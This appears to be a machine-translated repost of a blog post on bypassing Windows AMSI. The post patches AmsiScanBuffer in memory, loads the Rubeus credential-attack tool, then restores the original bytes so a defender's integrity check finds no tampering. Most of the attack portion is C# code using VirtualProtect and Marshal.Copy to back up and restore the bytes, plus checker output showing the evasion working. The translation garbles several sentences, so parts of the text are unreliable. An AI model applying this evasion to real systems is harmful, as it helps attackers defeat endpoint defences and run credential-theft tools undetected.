当前位置:网站首页>Bypass memory integrity check

Bypass memory integrity check

2022-06-23 20:44:00 Khan security team

The process involves :

  1. Find... In memory AmsiScanBuffer The location of .
  2. Change the memory permissions to RWX.
  3. Copy the patched bytes .
  4. Restore the memory area back to RX.

After this happened , This process does not seem to make any difference to the casual observer . Because we only changed about of the possible hundreds of thousands of bytes in the address space 6 Bytes , So how likely is it to be seen ?

Execute user mode DLL Injected defensive products ( for example EDR) Integrity checks can be performed on sensitive parts of the module code . therefore , If something has changed and is not captured at the time ( Maybe by using syscalls), Can be detected afterwards ( Suppose the process still exists ) And then send an alarm .

This depends in part on the relevance of aggressive tools . for example ,Cobalt Strike Of Beacon Many of them post-ex Command to use fork and run Pattern . It will generate a temporary process , Inject... Into it post-ex function , Get results through named pipes , Then terminate the process . If it's time to post-ex Function execution such as patching AmsiScanBuffer Something like that , It may not exist long enough to really worry about integrity checking .Covenant Of Grunt And other tools will perform all operations within it —— So as long as the implant is alive , These changes to its memory will persist .

Consider the following :

static void Main(string[] args)
{
    var amsi = new AmsiBypass();

    // Bypass AMSI
    amsi.Execute();

    // Load Rubeus
    var rubeus = File.ReadAllBytes(@"C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe");
    var asm = Assembly.Load(rubeus);

    asm.EntryPoint?.Invoke(null, new object[]{ Array.Empty<string>() });
}

Bypassing allows us to load Rubeus And do whatever we want . All good. .

however , If we are right in the process AmsiScanBuffer Perform integrity checks , We can infer that it has indeed been tampered with .

PS C:\Users\Daniel\source\repos\IntegrityDemo\MonitorApp> dotnet run 22664
========================
 AmsiScanBuffer Checker
========================

Target Process: MaliciousApp
AmsiScanBuffer: 0x7FFE26AA0000

AmsiScanBuffer tamper detected!

conceptually , Its operation is very simple :

  1. Load from disk amsi.dll.
  2. find AmsiScanBuffer And before reading 10 Bytes .
  3. Found... In the target process AmsiScanBuffer And before reading 10 Bytes .
  4. Compare two byte arrays .

If the array does not match , The function is already in the memory of the process ( Or an unlikely file ) A change has taken place .

From a defensive point of view , This method has some obvious disadvantages —— We only check AmsiScanBuffer Without checking other exported functions ; And only the front of the function 10 Bytes . However , According to my experience , Most people only copy / Paste the bypass they found on the Internet * Cough *, So this is a good simple fruit .

If we want to improve bypass , We can copy the original AmsiScanBuffer byte , Then recover the malicious content we want after we execute it .

It might look like this :

public void Execute()
{
    // Load amsi.dll and get location of AmsiScanBuffer
    var lib = LoadLibrary("amsi.dll");
    _asbLocation = GetProcAddress(lib, "AmsiScanBuffer");

    var patch = GetPatch;

    // Take a backup of AmsiScanBuffer bytes
    _backup = new byte[patch.Length];
    Marshal.Copy(_asbLocation, _backup, 0, patch.Length);

    // Set region to RWX
    // Copy patch
    // Restore region to RX
}

Then implement a program that copies back the original bytes recovery Method :

public void Restore()
{
    // Set region to RWX
    _ = VirtualProtect(_asbLocation, (UIntPtr)_backup.Length, 0x40, out uint oldProtect);

    // Copy bytes back
    Marshal.Copy(_backup, 0, _asbLocation, _backup.Length);

    // Restore region to RX
    _ = VirtualProtect(_asbLocation, (UIntPtr)_backup.Length, oldProtect, out uint _);
}

And then in our malicious applications :

static void Main(string[] args)
{
    var amsi = new AmsiBypass();

    // Bypass AMSI
    amsi.Execute();

    // Load Rubeus
    var rubeus = File.ReadAllBytes(@"C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe");
    var asm = Assembly.Load(rubeus);

    asm.EntryPoint?.Invoke(null, new object[]{ Array.Empty<string>() });

    // Restore AMSI
    amsi.Restore();
}
PS C:\Users\Daniel\source\repos\IntegrityDemo\MonitorApp> dotnet run 22516
========================
 AmsiScanBuffer Checker
========================

Target Process: MaliciousApp
AmsiScanBuffer: 0x7FFE26AA0000

AmsiScanBuffer is fine  ¯\_(ツ)_/¯

Rubeus Still perform as expected , But when running on a process “ Check ” when , No tampering was found . This integrity checking method may only be effective if it happens to run within a narrow time frame between performing a bypass and recovering bytes .

原网站

版权声明
本文为[Khan security team]所创,转载请带上原文链接,感谢
https://yzsam.com/2021/12/202112291651590931.html